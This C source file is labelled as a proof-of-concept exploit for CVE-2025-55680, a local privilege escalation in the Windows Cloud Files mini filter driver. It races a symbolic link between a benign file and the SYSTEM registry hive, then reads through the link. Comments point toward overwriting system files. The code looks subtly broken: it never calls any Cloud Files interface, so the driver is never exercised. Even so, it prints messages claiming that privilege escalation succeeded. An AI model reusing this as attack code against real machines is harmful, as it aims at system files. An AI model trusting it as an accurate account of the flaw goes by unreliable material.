// CVE-2025-55680 - Windows Cloud Files Mini Filter Driver TOCTOU Race Condition
// PoC for Local Privilege Escalation via Cloud Files Mini Filter Driver
// Note: This is a conceptual PoC demonstrating the TOCTOU race condition exploitation technique.
// Actual exploitation requires precise timing and may need multiple iterations.
#include <windows.h>
#include <stdio.h>
#include <processthreadsapi.h>
// Symbolic link path used to redirect the Cloud Files placeholder file
#define SYMLINK_PATH L"\\\\?\\C:\\Users\\Public\\placeholder_symlink"
#define TARGET_PATH L"\\\\?\\C:\\Windows\\System32\\config\\SYSTEM"
// Thread structure for racing operations
typedef struct _RACE_CONTEXT {
HANDLE hFile;
volatile LONG stop_flag;
} RACE_CONTEXT, *PRACE_CONTEXT;
// Thread 1: Continuously toggle the symbolic link target
// to exploit the TOCTOU window in the Cloud Files Mini Filter Driver
DWORD WINAPI SymlinkSwitcherThread(LPVOID lpParam) {
PRACE_CONTEXT ctx = (PRACE_CONTEXT)lpParam;
while (!ctx->stop_flag) {
// Remove existing symlink if present
DeleteFileW(SYMLINK_PATH);
// Create symlink pointing to a benign file (passes check)
CreateSymbolicLinkW(SYMLINK_PATH, L"C:\\Users\\Public\\benign_file.txt", 0);
// Rapidly switch to target file (used during the TOCTOU window)
DeleteFileW(SYMLINK_PATH);
CreateSymbolicLinkW(SYMLINK_PATH, TARGET_PATH, 0);
}
return 0;
}
// Thread 2: Trigger Cloud Files Mini Filter Driver operations
// to race against the symlink switcher
DWORD WINAPI TriggerDriverThread(LPVOID lpParam) {
PRACE_CONTEXT ctx = (PRACE_CONTEXT)lpParam;
while (!ctx->stop_flag) {
// Open the file through the path monitored by Cloud Files Mini Filter
// This triggers the check-then-use sequence in the driver
HANDLE hFile = CreateFileW(
SYMLINK_PATH,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
// If the race succeeds, we have obtained a handle to the target
// with elevated privileges - check if we can read sensitive data
char buffer[4096];
DWORD bytesRead;
if (ReadFile(hFile, buffer, sizeof(buffer), &bytesRead, NULL)) {
if (bytesRead > 0) {
printf("[+] Race condition succeeded! Read %lu bytes from target.\n", bytesRead);
printf("[+] Potential LPE achieved - handle to SYSTEM file obtained.\n");
// In a real exploit, use this handle to overwrite system files
// or perform other privileged operations
}
}
CloseHandle(hFile);
}
}
return 0;
}
int main() {
printf("[*] CVE-2025-55680 - Windows Cloud Files Mini Filter Driver TOCTOU LPE PoC\n");
printf("[*] Starting race condition exploitation...\n");
RACE_CONTEXT ctx = { 0 };
ctx.stop_flag = 0;
// Create racing threads to exploit the TOCTOU window
HANDLE hThread1 = CreateThread(NULL, 0, SymlinkSwitcherThread, &ctx, 0, NULL);
HANDLE hThread2 = CreateThread(NULL, 0, TriggerDriverThread, &ctx, 0, NULL);
if (!hThread1 || !hThread2) {
printf("[-] Failed to create threads. Error: %lu\n", GetLastError());
return 1;
}
// Run the race for a limited time (e.g., 30 seconds)
Sleep(30000);
// Signal threads to stop
InterlockedExchange(&ctx.stop_flag, 1);
WaitForSingleObject(hThread1, INFINITE);
WaitForSingleObject(hThread2, INFINITE);
// Cleanup
CloseHandle(hThread1);
CloseHandle(hThread2);
DeleteFileW(SYMLINK_PATH);
printf("[*] Exploitation attempt completed.\n");
return 0;
}